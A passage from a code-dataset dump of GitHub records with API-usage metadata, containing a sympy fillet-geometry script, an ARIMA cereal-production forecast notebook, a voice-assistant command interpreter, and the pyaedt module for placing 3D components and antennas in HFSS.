"cv2.dnn.blobFromImage", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.dnn", "line_number": 15, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 15, "usage_type": "call"}, {"api_name": "time.time", "line_number": 17, "usage_type": "call"}, {"api_name": "time.time", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.rectangle", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_SIMPLEX", "line_number": 33, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 37, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 41, "usage_type": "call"}]} {"seq_id": "39037096220", "text": "'''\nA, F, E 點座標已知\n\nCBD Arc 半徑已知\n\nEDG Arc 半徑已知\n\n求 B, C, D 點座標\n'''\n#fillet\nfrom sympy import symbols, sqrt, solve, cos, sin, Abs\n \n# inputs\nax, ay, fx, fy, ex, ey, cr, er = symbols('ax, ay, fx, fy, ex, ey, cr, er')\n# intermediate variables\ncd, de, cb, ab, ac, fb, fc, ce, af = symbols('cd, de, cb, ab, ac, fb, fc, ce, af')\n# outputs\nbx, by, cx, cy, dx, dy = symbols('bx, by, cx, cy, dx, dy')\n# 求各線段長度\ncd = sqrt((cx-dx)**2+(cy-dy)**2)\nce = sqrt((cx-ex)**2+(cy-ey)**2)\nde = sqrt((dx-ex)**2+(dy-ey)**2)\ncb = sqrt((cx-bx)**2+(cy-by)**2)\nab = sqrt((ax-bx)**2+(ay-by)**2)\nac = sqrt((ax-cx)**2+(ay-cy)**2)\naf = sqrt((ax-fx)**2+(ay-fy)**2)\nfb = sqrt((fx-bx)**2+(fy-by)**2)\nfc = sqrt((fx-cx)**2+(fy-cy)**2)\ndata = solve([sqrt((cx-dx)**2+(cy-dy)**2)-cd, sqrt((cx-ex)**2+(cy-ey)**2)-ce, \\\nsqrt((dx-ex)**2+(dy-ey)**2)-de, \\\nsqrt((cx-bx)**2+(cy-by)**2)-cb, \\\nsqrt((ax-bx)**2+(ay-by)**2)-ab, \\\nsqrt((ax-cx)**2+(ay-cy)**2)-ac, \\\nsqrt((fx-bx)**2+(fy-by)**2)-fb, \\\nsqrt((fx-cx)**2+(fy-cy)**2)-fc, \\\nab**2+cb**2-ac**2, \\\ncb**2+fb**2-fc**2, cd+de-ce, \\\nab+fb-af], [bx, by, cx, cy, dx, dy])\nprint(data)\n#print(\"bx=\", bx, \"by=\", by, \"cx=\", cx, \"cy=\", cy, \"dx=\", dx, \"dy=\", dy)\n \n ", "repo_name": "40423245/2017springcd_hw", "sub_path": "data/w11/fillet/fillet.py", "file_name": "fillet.py", "file_ext": "py", "file_size_in_byte": 1204, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sympy.symbols", "line_number": 14, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 16, "usage_type": "call"}, {"api_name": "sympy.symbols", "line_number": 18, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 20, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 21, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 22, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 23, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 24, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 25, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 26, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 27, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 28, "usage_type": "call"}, {"api_name": "sympy.solve", "line_number": 29, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 29, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 30, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 31, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 32, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 33, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 34, "usage_type": "call"}, {"api_name": "sympy.sqrt", "line_number": 35, "usage_type": "call"}]} {"seq_id": "35105650680", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[43]:\n\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\ndf = pd.read_csv('/home/sim06/Downloads/cer3.csv')\n\n\n# In[136]:\n\n\ntime = pd.date_range(start='1961',periods=56,freq='Y')\ndf.set_index(time,inplace=True)\ndf.head()\n\n\n# In[137]:\n\n\nx = df.drop(df[['Cereals']],axis=1)\ny = df[['Cereals']]\n\n\n# In[144]:\n\n\ny_train = y[0:45]\ny_test = y[45:57]\nx_train = x[0:45]\nx_test = x[45:57]\n\n\n# In[145]:\n\n\ny_train.plot()\nplt.show()\n\n\n# In[146]:\n\n\nimport statsmodels.api as sm\nfig = plt.figure(figsize=(12,8))\nax1 = fig.add_subplot(211)\nfig = sm.graphics.tsa.plot_acf(y_train, lags=15, ax=ax1)\nax2 = fig.add_subplot(212)\nfig = sm.graphics.tsa.plot_pacf(y_train, lags=15, ax=ax2)\nplt.show()\n\n\n# In[147]:\n\n\nimport statsmodels\nprint(statsmodels.tsa.stattools.adfuller(y_train.Cereals))\n\n\n# In[148]:\n\nplt.plot(y_train.diff())\nplt.show()\nfig = plt.figure(figsize=(12,8))\nax1 = fig.add_subplot(211)\nfig = sm.graphics.tsa.plot_acf(y_train.diff(), lags=15, ax=ax1)\nax2 = fig.add_subplot(212)\nfig = sm.graphics.tsa.plot_pacf(y_train.diff(), lags=15, ax=ax2)\nplt.show()\n\n\n# In[149]:\nP=[0,1,2,3,4]\nQ=[0,1,12]\nfor p in P:\n for q in Q:\n try:\n model=sm.tsa.ARIMA(endog=y_train,order=(p,1,q))\n results=model.fit()\n print(results.summary())\n except:\n pass\n\n# In[150]:\n\nmodel_selected=sm.tsa.ARIMA(endog=y_train,order=(0,1,1))\nresult_produced=model_selected.fit()\nprint(statsmodels.tsa.stattools.adfuller(result_produced.resid))\nresult_produced.plot_predict(1,50)\nplt.show()\n# In[151]:\n\n\nresult_produced.resid.plot()\nplt.show()\nfig = plt.figure(figsize=(12,8))\nax1 = fig.add_subplot(211)\nfig = sm.graphics.tsa.plot_acf(result_produced.resid, lags=15, ax=ax1)\nax2 = fig.add_subplot(212)\nfig = sm.graphics.tsa.plot_pacf(result_produced.resid, lags=15, ax=ax2)\nplt.show()\n\n\n# In[158]:\n\n\nforecast,std,conf=result_produced.forecast(11)\n\n\n# In[159]:\n\n\nimport numpy as np\ns = np.asarray(forecast)\n\n\n# In[160]:\n\n\nm = []\nfor i in y_test.Cereals:\n m.append(i)\n\n\n# In[165]:\n\n\nplt.plot(s,color='green',label='Predicted')\nplt.plot(m,color='red',label='True')\nplt.legend()\nplt.show()\n\n\n# In[166]:\n\n\ndiff = s-m\nprint(diff)\n\n\n# In[12]:\n\n\ndiff.mean()\n\n\n# In[ ]:\n\n\n\n\n", "repo_name": "sumslim/Non-Linear-Time-Series-Analysis-Using-Machine-Learning-Time-Series-Analysis-and-Deep-Learning", "sub_path": "ARIMA_Forecast.py", "file_name": "ARIMA_Forecast.py", "file_ext": "py", "file_size_in_byte": 2228, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 9, "usage_type": "call"}, {"api_name": "pandas.date_range", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 40, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 40, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "statsmodels.api.graphics.tsa.plot_acf", "line_number": 49, "usage_type": "call"}, {"api_name": "statsmodels.api.graphics", "line_number": 49, "usage_type": "attribute"}, {"api_name": "statsmodels.api", "line_number": 49, "usage_type": "name"}, {"api_name": "statsmodels.api.graphics.tsa.plot_pacf", "line_number": 51, "usage_type": "call"}, {"api_name": "statsmodels.api.graphics", "line_number": 51, "usage_type": "attribute"}, {"api_name": "statsmodels.api", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 52, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 52, "usage_type": "name"}, {"api_name": "statsmodels.tsa.stattools.adfuller", "line_number": 59, "usage_type": "call"}, {"api_name": "statsmodels.tsa", "line_number": 59, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 64, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 64, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "statsmodels.api.graphics.tsa.plot_acf", "line_number": 68, "usage_type": "call"}, {"api_name": "statsmodels.api.graphics", "line_number": 68, "usage_type": "attribute"}, {"api_name": "statsmodels.api", "line_number": 68, "usage_type": "name"}, {"api_name": "statsmodels.api.graphics.tsa.plot_pacf", "line_number": 70, "usage_type": "call"}, {"api_name": "statsmodels.api.graphics", "line_number": 70, "usage_type": "attribute"}, {"api_name": "statsmodels.api", "line_number": 70, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 71, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 71, "usage_type": "name"}, {"api_name": "statsmodels.api.tsa.ARIMA", "line_number": 80, "usage_type": "call"}, {"api_name": "statsmodels.api.tsa", "line_number": 80, "usage_type": "attribute"}, {"api_name": "statsmodels.api", "line_number": 80, "usage_type": "name"}, {"api_name": "statsmodels.api.tsa.ARIMA", "line_number": 88, "usage_type": "call"}, {"api_name": "statsmodels.api.tsa", "line_number": 88, "usage_type": "attribute"}, {"api_name": "statsmodels.api", "line_number": 88, "usage_type": "name"}, {"api_name": "statsmodels.tsa.stattools.adfuller", "line_number": 90, "usage_type": "call"}, {"api_name": "statsmodels.tsa", "line_number": 90, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 92, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 92, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 98, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 98, "usage_type": "name"}, {"api_name": "statsmodels.api.graphics.tsa.plot_acf", "line_number": 100, "usage_type": "call"}, {"api_name": "statsmodels.api.graphics", "line_number": 100, "usage_type": "attribute"}, {"api_name": "statsmodels.api", "line_number": 100, "usage_type": "name"}, {"api_name": "statsmodels.api.graphics.tsa.plot_pacf", "line_number": 102, "usage_type": "call"}, {"api_name": "statsmodels.api.graphics", "line_number": 102, "usage_type": "attribute"}, {"api_name": "statsmodels.api", "line_number": 102, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 103, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 103, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 130, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 130, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 131, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 131, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 132, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 133, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 133, "usage_type": "name"}]} {"seq_id": "31530438795", "text": "# -*- coding: utf-8 -*-\nimport snowboydecoder\nimport speech_recognition as sr\nfrom speaker import Speaker\nfrom scripts.weather import Weather\nfrom scripts.kodi import Kodi\nfrom scripts.calendar import Calendar\nfrom translator import ngettext\n\n\nclass Interpreter(object):\n def __init__(self, config):\n self.config = config\n self.weather = Weather(\n self.config.get_string(\"WEATHER\", \"api_key\"),\n self.config.get_string(\"WEATHER\", \"city\"),\n self.config.get_string(\"WEATHER\", \"lang\"),\n self.config.get_string(\"WEATHER\", \"units\")\n )\n self.kodi = Kodi(port=self.config.get_string(\"KODI\", \"port\"))\n self.recognizer = sr.Recognizer()\n self.calendar = Calendar()\n\n def calibrate(self, callback):\n Speaker.talk(_(\"jarvis.initialize.start\"))\n with sr.Microphone() as source:\n self.recognizer.adjust_for_ambient_noise(source, 2)\n self.recognizer.dynamic_energy_threshold = True\n Speaker.talk(_(\"jarvis.initialize.end\"))\n callback()\n\n def listen(self):\n with sr.Microphone() as source:\n print(\"Say something!\")\n audio = self.recognizer.listen(source)\n snowboydecoder.play_audio_file(snowboydecoder.DETECT_DONG)\n try:\n data = self.recognizer.recognize_google(audio,\n language=self.config.get_string(\"DEFAULT\", \"interpreter_lang\"))\n print(\"You said: \" + data)\n self.call_function(data)\n except sr.UnknownValueError:\n print(\"Google Speech Recognition could not understand audio\")\n snowboydecoder.play_audio_file(\"resources/error.wav\")\n except sr.RequestError as e:\n print(\"Could not request results from Google Speech Recognition service; {0}\".format(e))\n snowboydecoder.play_audio_file(\"resources/error.wav\")\n\n def call_function(self, data):\n data = data.lower()\n\n if _(\"command.weather\") in data:\n Speaker.talk(self.weather.get_one_day())\n elif data == _('command.film.pause'):\n self.kodi.pause()\n elif data == _(\"command.film.resume\") or data == _(\"command.film.play\"):\n self.kodi.resume()\n elif data == _(\"command.film.status\"):\n self.kodi.film_status()\n elif _(\"command.date.hour\") in data:\n self.calendar.get_time()\n else:\n Speaker.talk(_(\"speak.command.unknown\"))\n", "repo_name": "draffter/PyJarvis", "sub_path": "interpreter.py", "file_name": "interpreter.py", "file_ext": "py", "file_size_in_byte": 2500, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "scripts.weather.Weather", "line_number": 14, "usage_type": "call"}, {"api_name": "scripts.kodi.Kodi", "line_number": 20, "usage_type": "call"}, {"api_name": "speech_recognition.Recognizer", "line_number": 21, "usage_type": "call"}, {"api_name": "scripts.calendar.Calendar", "line_number": 22, "usage_type": "call"}, {"api_name": "speaker.Speaker.talk", "line_number": 25, "usage_type": "call"}, {"api_name": "speaker.Speaker", "line_number": 25, "usage_type": "name"}, {"api_name": "speech_recognition.Microphone", "line_number": 26, "usage_type": "call"}, {"api_name": "speaker.Speaker.talk", "line_number": 29, "usage_type": "call"}, {"api_name": "speaker.Speaker", "line_number": 29, "usage_type": "name"}, {"api_name": "speech_recognition.Microphone", "line_number": 33, "usage_type": "call"}, {"api_name": "snowboydecoder.play_audio_file", "line_number": 36, "usage_type": "call"}, {"api_name": "snowboydecoder.DETECT_DONG", "line_number": 36, "usage_type": "attribute"}, {"api_name": "speech_recognition.UnknownValueError", "line_number": 42, "usage_type": "attribute"}, {"api_name": "snowboydecoder.play_audio_file", "line_number": 44, "usage_type": "call"}, {"api_name": "speech_recognition.RequestError", "line_number": 45, "usage_type": "attribute"}, {"api_name": "snowboydecoder.play_audio_file", "line_number": 47, "usage_type": "call"}, {"api_name": "speaker.Speaker.talk", "line_number": 53, "usage_type": "call"}, {"api_name": "speaker.Speaker", "line_number": 53, "usage_type": "name"}, {"api_name": "speaker.Speaker.talk", "line_number": 63, "usage_type": "call"}, {"api_name": "speaker.Speaker", "line_number": 63, "usage_type": "name"}]} {"seq_id": "6294392002", "text": "import os\n\nfrom pyaedt import pyaedt_function_handler\nfrom pyaedt.modeler.geometry_operators import GeometryOperators\n\n\nclass Part(object):\n \"\"\"Manages 3D component placement and definition.\n\n Parameters\n ----------\n part_folder : str\n Path to the folder with the A3DCOMP files.\n part_dict : dict\n Defines relevant properties of the class with the following keywords:\n * 'comp_name': str, Name of the A3DCOMP file.\n * 'offset': list or str, Offset coordinate system definition relative to the parent.\n * 'rotation_cs': list or str, Rotation coordinate system relative to the parent.\n * 'rotation': str or numeric, Rotation angle.\n * 'compensation_angle': str or numeric, Initial angle.\n * 'rotation_axis': str, Rotation axis (``\"X\"``, ``\"Y\"``, or ``\"Z\"``).\n * 'duplicate_number': str or int, Number of instances for linear duplication.\n * 'duplicate_vector': list, Vector for duplication relative to the parent coordinate system.\n parent : str\n The default is ``None``.\n name : str, optional\n Name of the A3DCOMP file without the extension. The default is ``None``.\n \"\"\"\n\n # List of known keys for a part and default values:\n allowed_keys = {\n \"comp_name\": None, # *.a3dcomp file name\n \"offset\": None,\n \"rotation_cs\": None,\n \"rotation\": 0.0,\n \"compensation_angle\": None,\n \"rotation_axis\": \"Z\",\n \"tire_radius\": None,\n \"duplicate_number\": None,\n \"duplicate_vector\": None,\n \"antenna_type\": None, # Antenna only\n \"ffd_name\": None, # Antenna only\n \"mode\": None, # Antenna only\n \"aedt_name\": None,\n \"beamwidth_elevation\": None, # Antenna only\n \"beamwidth_azimuth\": None, # Antenna only\n \"polarization\": None,\n } # Antenna only\n\n def __init__(self, part_folder, part_dict, parent=None, name=None):\n # Default values:\n self._compdef = dict()\n self._multiparts = parent\n\n # Extract the 3D component name and part folder\n # from the file name.\n # Use this as the default value for comp_name. Ensure that the correct extension is used.\n self._compdef[\"part_folder\"] = part_folder\n for k in Part.allowed_keys:\n if k in part_dict:\n self._compdef[k] = part_dict[k]\n else:\n self._compdef[k] = Part.allowed_keys[k]\n\n self._motion = False\n if parent: # Inherit _motion directly from parent.\n self._motion = self._multiparts.motion\n\n # make sure self._name is unique if it is not passed as an argument.\n if name:\n self._name = name # Part name should be unique. No checking here.\n elif \"name\" in part_dict:\n self._name = part_dict[\"name\"]\n else:\n self._name = \"radar\" # TODO: Need to fix this!\n\n # Update self._compdef from the library definition in the *.json file.\n\n for kw, val in part_dict.items():\n if kw in self._compdef:\n self._compdef[kw] = val\n else:\n raise KeyError(\"Key \" + kw + \" not allowed.\")\n\n # Instantiate yaw, pitch and roll. Might want to change\n # how this is handled. Make \"rotation\" a list instead of\n # using .yaw, .pitch, .roll properties?\n self.rot_axis = [False, False, False] # [X, Y, Z] rotation Boolean\n if self._compdef[\"rotation_axis\"]:\n rotations_axis = self._compdef[\"rotation_axis\"].split(\",\")\n if self._compdef[\"rotation\"]:\n rotations = self._compdef[\"rotation\"].split(\",\")\n else:\n rotations = []\n r = \"0\"\n p = \"0\"\n y = \"0\"\n for i, a in enumerate(rotations):\n if rotations_axis[i].lower() == \"x\": # roll\n r = a\n self.rot_axis[2] = True\n elif rotations_axis[i].lower() == \"y\": # pitch\n p = a\n self.rot_axis[1] = True\n elif rotations_axis[i].lower() == \"z\": # yaw\n y = a\n self.rot_axis[0] = True\n\n self._yaw = y\n self._pitch = p\n self._roll = r\n else:\n self._yaw = \"0\"\n self._pitch = \"0\"\n self._roll = \"0\"\n\n def __setitem__(self, key, value):\n self._compdef[key] = value\n\n def __getitem__(self, key):\n if key == \"rotation_cs\":\n cs = self._compdef[key]\n if cs == \"Global\" or cs is None:\n self._compdef[key] = [\"0\", \"0\", \"0\"]\n else:\n self._compdef[key] = [str(i) if not i is str else i for i in cs]\n return self._compdef[key]\n\n @pyaedt_function_handler()\n def zero_offset(self, kw): # Returns True if cs at kw is at [0, 0, 0]\n \"\"\"Check if the coordinate system defined by kw is [0, 0, 0].\n\n Parameters\n ----------\n kw : str\n Coordinate system for kw. Options are ``offset`` and ``rotation_cs``.\n\n Returns\n -------\n bool\n ``True`` when successful, ``False`` when failed.\n\n \"\"\"\n if kw in [\"offset\", \"rotation_cs\"]:\n s = []\n if self[kw]:\n s = [GeometryOperators.is_small(c) for c in self[kw]]\n if len(s) > 0:\n return all(s)\n else:\n return True\n return False\n\n @property\n def file_name(self):\n \"\"\"Antenna file name.\n\n Returns\n -------\n str\n Full name of the A3DCOMP file.\n \"\"\"\n return os.path.join(self._compdef[\"part_folder\"], self[\"comp_name\"])\n\n # Create a unique coordinate system name for the part.\n @property\n def cs_name(self):\n \"\"\"Coordinate system name.\n\n Returns\n -------\n str\n Name of the coordinate system.\n \"\"\"\n if self._motion or not self.zero_offset(\"offset\") or not self.zero_offset(\"rotation_cs\"):\n return self.name + \"_cs\"\n else:\n return self._multiparts.cs_name\n\n # Define the variable names for angles in the app:\n @property\n def yaw_name(self):\n \"\"\"Yaw variable name. Yaw is the rotation about the object's Z-axis.\n\n Returns\n -------\n str\n ame of the yaw variable.\n\n \"\"\"\n return self.name + \"_yaw\"\n\n @property\n def pitch_name(self):\n \"\"\"Pitch variable name. Pitch is the rotation about the object's Y-axis.\n\n Returns\n -------\n str\n Name of the pitch variable.\n \"\"\"\n return self.name + \"_pitch\"\n\n @property\n def roll_name(self):\n \"\"\"Roll variable name. Roll is the rotation about the object's X-axis.\n\n Returns\n -------\n str\n Name of the roll variable.\n \"\"\"\n return self.name + \"_roll\"\n\n # Always return the local origin as a list:\n @property\n def local_origin(self):\n \"\"\"Local part offset values.\n\n Returns\n -------\n list\n List of offset values for the local part.\n \"\"\"\n if self[\"offset\"]:\n if self.zero_offset(\"offset\") or self[\"offset\"] == \"Global\":\n return [0, 0, 0]\n else:\n if self._multiparts._local_units:\n units = self._multiparts._local_units\n else:\n units = self._multiparts.modeler_units\n offset = [str(i) + units for i in self[\"offset\"]]\n\n return offset\n else:\n return [0, 0, 0]\n\n @property\n def rotate_origin(self):\n \"\"\"Origin rotation list.\n\n Returns\n -------\n list\n List of offset values for the rotation.\n \"\"\"\n if self[\"rotation_cs\"]:\n if self.zero_offset(\"rotation_cs\") or self[\"rotation_cs\"] == \"Global\":\n return self.local_origin\n else:\n return self[\"rotation_cs\"]\n else:\n return [0, 0, 0]\n\n @property\n def _do_rotate(self): # True if any rotation angles are non-zero or 'rotation_cs' is defined.\n return any(self.rot_axis)\n\n @property\n def _do_offset(self): # True if any rotation angles are non-zero.\n return any(GeometryOperators.numeric_cs(self.local_origin))\n\n # Allow expressions should be valid angle as either string\n # or numerical value.\n @property\n def yaw(self):\n \"\"\"Yaw variable value.\n\n Returns\n -------\n str\n Value for the yaw variable.\n \"\"\"\n return self._yaw\n\n @yaw.setter\n def yaw(self, yaw):\n self._yaw = yaw\n\n @property\n def pitch(self):\n \"\"\"Pitch variable value.\n\n Returns\n -------\n str\n Value of the pitch variable.\n \"\"\"\n return self._pitch\n\n @pitch.setter\n def pitch(self, pitch):\n self._pitch = pitch\n\n @property\n def roll(self):\n \"\"\"Roll variable value.\n\n Returns\n -------\n str\n Value of the roll variable.\n \"\"\"\n return self._roll\n\n @roll.setter\n def roll(self, roll):\n self._roll = roll\n\n @property\n def name(self):\n \"\"\"Part name.\n\n Returns\n -------\n str\n Name of the part.\n \"\"\"\n return self._multiparts.name + \"_\" + self._name\n\n @pyaedt_function_handler()\n def set_relative_cs(self, app):\n \"\"\"Create a parametric coordinate system.\n\n Parameters\n ----------\n app : pyaedt.Hfss\n\n Returns\n -------\n bool\n ``True`` when successful, ``False`` when failed.\n \"\"\"\n # Set x, y, z offset variables in app. But check first to see if the CS\n # has already been defined.\n if self.cs_name not in app.modeler.oeditor.GetCoordinateSystems() and self.cs_name != \"Global\":\n x_pointing = [1, 0, 0]\n y_pointing = [0, 1, 0]\n app.modeler.create_coordinate_system(\n origin=self.local_origin,\n x_pointing=x_pointing,\n y_pointing=y_pointing,\n reference_cs=self._multiparts.cs_name,\n mode=\"axis\",\n name=self.cs_name,\n )\n return True\n\n @property\n def rot_cs_name(self):\n \"\"\"Rotation coordinate system name.\n\n Returns\n -------\n str\n Name of the rotation coordinate system.\n \"\"\"\n return self.name + \"_rot_cs\"\n\n @pyaedt_function_handler()\n def do_rotate(self, app, aedt_object):\n \"\"\"Set the rotation coordinate system relative to the parent coordinate system.\n\n This method should only be called if there is rotation in the component.\n The rotation coordinate system is offset from the parent coordinate system.\n\n Parameters\n ----------\n app : pyaedt.Hfss\n HFSS application instance.\n aedt_object : str\n Name of the HFSS design.\n \"\"\"\n\n x_pointing = [1, 0, 0]\n y_pointing = [0, 1, 0]\n app.modeler.create_coordinate_system(\n origin=self.rotate_origin,\n x_pointing=x_pointing,\n y_pointing=y_pointing,\n reference_cs=self._multiparts.cs_name,\n mode=\"axis\",\n name=self.rot_cs_name,\n )\n if self.rot_axis[0]:\n app[self.yaw_name] = self.yaw\n app.modeler.rotate(aedt_object, \"Z\", angle=self.yaw_name)\n if self.rot_axis[1]:\n app[self.pitch_name] = self.pitch\n app.modeler.rotate(aedt_object, \"Y\", angle=self.pitch_name)\n if self.rot_axis[2]:\n app[self.roll_name] = self.roll\n app.modeler.rotate(aedt_object, \"X\", angle=self.roll_name)\n\n return True\n\n @pyaedt_function_handler()\n def insert(self, app):\n \"\"\"Insert 3D component in AEDT.\n\n Parameters\n ----------\n app : pyaedt.Hfss\n\n Returns\n -------\n str\n Name of inserted object.\n \"\"\"\n aedt_objects = []\n # TODO: Why the inconsistent syntax for cs commands?\n if self._do_offset:\n self.set_relative_cs(app) # Create coordinate system, if needed.\n comp_obj = app.modeler.insert_3d_component(self.file_name, targetCS=self.cs_name)\n aedt_objects.append(comp_obj.name)\n else:\n comp_obj = app.modeler.insert_3d_component(self.file_name, targetCS=self._multiparts.cs_name)\n aedt_objects.append(comp_obj.name)\n if self._do_rotate:\n self.do_rotate(app, aedt_objects[0])\n\n # Duplication occurs in parent coordinate system.\n app.modeler.set_working_coordinate_system(self._multiparts.cs_name)\n if self[\"duplicate_vector\"]:\n d_vect = [float(i) for i in self[\"duplicate_vector\"]]\n duplicate_result = app.modeler.duplicate_along_line(\n aedt_objects[0], d_vect, nclones=int(self[\"duplicate_number\"]), is_3d_comp=True\n )\n if duplicate_result[0]:\n for d in duplicate_result[1]:\n aedt_objects.append(d)\n return aedt_objects\n\n\nclass Antenna(Part, object):\n \"\"\"Manages antennas.\n\n This class is derived from :class:`Part`.\n\n Parameters\n ----------\n root_folder : str\n Root directory\n ant_dict : dict\n Antenna dictionary\n parent : str, optional\n The default is ``None``.\n name : str, optional\n The default is ``None``.\n\n \"\"\"\n\n def __init__(self, root_folder, ant_dict, parent=None, name=None):\n super(Antenna, self).__init__(root_folder, ant_dict, parent=parent, name=name)\n\n def _antenna_type(self, app):\n if self._compdef[\"antenna_type\"] == \"parametric\":\n return app.SbrAntennas.ParametricBeam\n if self._compdef[\"antenna_type\"] == \"ffd\":\n return \"file\"\n\n @property\n def params(self):\n \"\"\"Multi-part component parameters.\n\n Returns\n -------\n dict\n Dictionary of parameters for a multi-part component.\n \"\"\"\n p = {}\n if self._compdef[\"antenna_type\"] == \"parametric\":\n p[\"Vertical BeamWidth\"] = self._compdef[\"beamwidth_elevation\"]\n p[\"Horizontal BeamWidth\"] = self._compdef[\"beamwidth_azimuth\"]\n p[\"Polarization\"] = self._compdef[\"polarization\"]\n return p\n\n @pyaedt_function_handler()\n def _insert(self, app, target_cs=None, units=None):\n if not target_cs:\n target_cs = self._multiparts.cs_name\n if not units:\n if self._multiparts._local_units:\n units = self._multiparts._local_units\n else:\n units = self._multiparts.units\n if self._compdef[\"ffd_name\"]:\n ffd = os.path.join(self._compdef[\"part_folder\"], self._compdef[\"ffd_name\"] + \".ffd\")\n a = app.create_sbr_file_based_antenna(\n ffd_full_path=ffd, model_units=units, target_cs=target_cs, antenna_name=self.name\n )\n else:\n a = app.create_sbr_antenna(\n self._antenna_type(app),\n model_units=units,\n parameters_dict=self.params,\n target_cs=target_cs,\n antenna_name=self.name,\n )\n return a\n\n @pyaedt_function_handler()\n def insert(self, app, units=None):\n \"\"\"Insert antenna in HFSS SBR+.\n\n Parameters\n ----------\n app : pyaedt.Hfss\n units :\n The default is ``None``.\n\n Returns\n -------\n str\n Name of the inserted object.\n \"\"\"\n if self._do_offset:\n self.set_relative_cs(app)\n antenna_object = self._insert(app, target_cs=self.cs_name, units=units)\n else:\n antenna_object = self._insert(app, target_cs=self._multiparts.cs_name, units=units)\n if self._do_rotate and antenna_object:\n self.do_rotate(app, antenna_object.name)\n\n return antenna_object\n", "repo_name": "ansys/pyaedt", "sub_path": "pyaedt/modeler/advanced_cad/parts.py", "file_name": "parts.py", "file_ext": "py", "file_size_in_byte": 16283, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 158, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pyaedt.modeler.geometry_operators.GeometryOperators.is_small", "line_number": 147, "usage_type": "call"}, {"api_name": "pyaedt.modeler.geometry_operators.GeometryOperators", "line_number": 147, "usage_type": "name"}, {"api_name": "pyaedt.pyaedt_function_handler", "line_number": 129, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "pyaedt.modeler.geometry_operators.GeometryOperators.numeric_cs", "line_number": 262, "usage_type": "call"}, {"api_name": "pyaedt.modeler.geometry_operators.GeometryOperators", "line_number": 262, "usage_type": "name"}, {"api_name": "pyaedt.pyaedt_function_handler", "line_number": 322, "usage_type": "call"}, {"api_name": "pyaedt.pyaedt_function_handler", "line_number": 361, "usage_type": "call"}, {"api_name": 